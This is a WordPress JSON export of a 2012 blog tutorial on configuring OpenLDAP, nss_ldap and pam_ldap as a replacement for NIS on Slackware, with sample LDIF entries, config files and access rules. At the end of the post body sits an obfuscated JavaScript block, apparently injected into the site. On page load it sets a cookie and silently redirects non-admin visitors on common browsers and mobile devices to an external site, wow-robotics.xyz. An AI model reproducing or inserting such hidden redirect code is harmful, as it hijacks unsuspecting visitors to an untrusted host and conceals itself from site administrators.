{"id":57,"date":"2012-02-15T11:19:51","date_gmt":"2012-02-15T03:19:51","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=57"},"modified":"2012-02-16T11:41:58","modified_gmt":"2012-02-16T03:41:58","slug":"configuring-openldap-as-a-replacement-for-nis","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/02\/15\/configuring-openldap-as-a-replacement-for-nis\/","title":{"rendered":"Configuring OpenLDAP as a replacement for NIS"},"content":{"rendered":"<p>It should be an easy task in modern linux environment to use openldap as a central user database for authentication.\u00a0 I try to list out the steps about the implementation.<\/p>\n<p>The reference system is base on Slackware 13.37. Some packages may already included in your Linux distribution but not for mine. So, you may skip the installation process and jump to the configuration process.<br \/>\n<!--more--><\/p>\n<ul>\n<li>First, you may need to create sample user entries in your LDAP.\u00a0 you may using <a title=\"MigrationTools\" href=\"http:\/\/www.padl.com\/OSS\/MigrationTools.html\" target=\"_blank\"><strong>MigrationTools<\/strong><\/a> from PADL to convert your \/etc\/passwd, \/etc\/groups, \/etc\/shadow, &#8230; into LDIF or directly import into you LDAP.\n<pre>\r\n<ul>\r\n<li>Modify migrate_common.ph to match your baseDN.<\/li>\r\n<li>Running <strong>&gt; .\/migrate_passwd.pl \/etc\/passwd -<\/strong> to have look what will be import into your LDIF<\/li>\r\n<li>Running <strong>&gt; .\/migrate_passwd.pl \/etc\/group -<\/strong> to have look what will be import into your LDIF<\/li>\r\n<li>Sample LDIF:\r\ndn: cn=user123,ou=Group,dc=xyz,dc=xxx\r\nchangetype: add\r\nobjectClass: posixGroup\r\nobjectClass: top\r\ncn: user123\r\nuserPassword: {crypt}x\r\ngidNumber: 1000\r\n\r\ndn: uid=user123,ou=People,dc=xyz,dc=xxx\r\nchangetype: add\r\nuid: user123\r\ncn: User 123\r\nobjectClass: account\r\nobjectClass: posixAccount\r\nobjectClass: top\r\nobjectClass: shadowAccount\r\nuserPassword: {crypt}xxxxxxx\r\nshadowLastChange: 15384\r\nshadowMax: 99999\r\nshadowWarning: 7\r\nloginShell: \/bin\/tcsh\r\nuidNumber: 1000\r\ngidNumber: 1000\r\nhomeDirectory: \/home\/user123\r\ngecos: User 123<\/li>\r\n<\/ul>\r\n<\/pre>\n<\/li>\n<li>Install <a href=\"http:\/\/www.padl.com\/OSS\/nss_ldap.html\" title=\"nss_ldap\" target=\"_blank\">nss_ldap<\/a>:\n<pre>\r\n&gt; .\/configure --prefix=\/usr\/local\/nss_ldap --with-ldap-conf-file=\/usr\/local\/nss_ldap\/etc\/libnss_ldap.conf\r\n&gt; make\r\n&gt; make install\r\n<\/pre>\n<p><strong>In case, you&#8217;ve got &#8216;\/bin\/sh: vers_string: command not found&#8217; when building the nss_ldap, please include current directory in your PATH, export PATH=.:${PATH} before run make.<\/strong>\n<\/li>\n<li>nss_ldap will look up <strong>\/usr\/local\/nss_ldap\/etc\/libnss_ldap.conf<\/strong> for LDAP connection parameter, at least, modify the base DN to match your site configuration.  Also, modify <strong>bind_policy to soft<\/strong> to prevent blocking response when LDAP is down.\n<pre>\r\nhost 127.0.0.1\r\nbase dc=xyz,dc=xxx\r\n<em>binddn cn=libnssManager,ou=systemObject,dc=xyz,dc=xxx (optional)\r\nbindpw xxxxxxx (optional)\r\nbind_policy soft (optional)<\/em>\r\n<\/pre>\n<\/li>\n<li>As for my site configuration, modify <\/strong>\/etc\/nsswitch.cong<\/strong> as follow:\n<pre>\r\npasswd:         files ldap\r\ngroup:          files ldap\r\n<\/pre>\n<\/li>\n<li>You may test your nss_ldap configuration for correctness now.  As for this example, you need to remove <strong>user123<\/strong> in <strong>\/etc\/passwd, \/etc\/group &amp; \/etc\/shadow<\/strong> and then you may try <strong>su &#8211; user123<\/strong> (assume you are root now) and running <strong>id<\/strong>.  If you could switch to the user123 and get the id information of the user successfully then you&#8217;ve finished the setup of nss_ldap. Or simply running <strong>getent passwd<\/strong><\/li>\n<li>Install <a href=\"http:\/\/www.padl.com\/OSS\/pam_ldap.html\" title=\"pam_ldap\" target=\"_blank\">pam_ldap<\/a>:\n<pre>\r\n&gt; .\/configure --prefix=\/usr\/local\/pam_ldap --with-ldap-conf-file=\/usr\/local\/pam_ldap\/etc\/pam_ldap.conf\r\n&gt; make\r\n&gt; make install\r\n<\/pre>\n<p><strong>In case, you&#8217;ve got &#8216;\/bin\/sh: vers_string: command not found&#8217; when building the pam_ldap, please include current directory in your PATH, export PATH=.:${PATH} before run make.<\/strong>\n<\/li>\n<li>update configuration in <strong>\/usr\/local\/pam_ldap\/etc\/pam_ldap.conf<\/strong>, setting suitable base DN and binding parameter and modify <strong>bind_policy to soft<\/strong> to prevent blocking response when LDAP is down.\n<pre>\r\nhost 127.0.0.1\r\nbase dc=xyz,dc=xxx\r\n<em>binddn cn=pamManager,ou=systemObject,dc=xyz,dc=xxx (optional)\r\nbindpw xxxxxxx (optional)\r\nbind_policy soft (optional)<\/em>\r\n<\/pre>\n<\/li>\n<li>Create \/etc\/pam.d\/other as follow:\n<pre>\r\n#%PAM-1.0\r\nauth     required       pam_deny.so\r\naccount  required       pam_deny.so\r\npassword required       pam_deny.so\r\nsession  required       pam_deny.so\r\n<\/pre>\n<p>which deny all PAM access by default.<\/p>\n<li>For better security measure, you may add additional ACL as follow:\n<pre>\r\ndn: ou=systemObject,dc=q-station,dc=net\r\nchangetype: add\r\nobjectclass: organizationalunit\r\nou: systemObject\r\ndescription: system object\r\n\r\ndn: cn=libnssManager,ou=systemObject,dc=q-station,dc=net\r\nchangetype: add\r\nobjectclass: top\r\nobjectclass: simpleSecurityObject\r\nobjectclass: organizationalRole\r\ncn: libnssManager\r\nuserPassword: {SSHA}814COSqesQupX5Bh0JSpKipPf3G6+VnJ\r\n\r\ndn: cn=pamManager,ou=systemObject,dc=q-station,dc=net\r\nchangetype: add\r\nobjectclass: top\r\nobjectclass: simpleSecurityObject\r\nobjectclass: organizationalRole\r\ncn: pamManager\r\nuserPassword: {SSHA}6Fe9ff8YI83BNfpyN8AUf2qdxrn8V8XM\r\n\r\ndn: olcDatabase={1}bdb,cn=config\r\nchangetype: modify\r\nreplace: olcAccess\r\nolcAccess: to attrs=userpassword\r\n   by self write\r\n   by dn=\"cn=libnssManager,ou=systemObject,dc=q-station,dc=net\" read\r\n   by anonymous auth\r\n   by * none\r\nolcAccess: to *\r\n   by self write \r\n   by dn=\"cn=libnssManager,ou=systemObject,dc=q-station,dc=net\" read\r\n   by dn=\"cn=pamManager,ou=systemObject,dc=q-station,dc=net\" read\r\n   by users read\r\n   by anonymous auth\r\n   by * none\r\n\r\nupdate binddn & bindpw in \/usr\/local\/nss_ldap\/etc\/libnss_ldap.conf & \/usr\/local\/pam_ldap\/etc\/pam_ldap.conf\r\n<\/pre>\n<\/li>\n<\/li>\n<li>In case, if you are having any problem, please turn on *.* for \/var\/log\/debug in \/etc\/syslog.conf and kill -HUP the syslogd.  You could debug your setup in debug log.\n<\/ul>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>It should be an easy task in modern linux environment to use openldap as a central user database for authentication.\u00a0 I try to list out the steps about the implementation. The reference system is base on Slackware 13.37. Some packages may already included in your Linux distribution but not for mine. So, you may skip the installation process and jump to the configuration process.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[3,8],"tags":[11,15,16,9,13],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/57"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=57"}],"version-history":[{"count":45,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/57\/revisions"}],"predecessor-version":[{"id":113,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/57\/revisions\/113"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=57"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=57"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=57"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}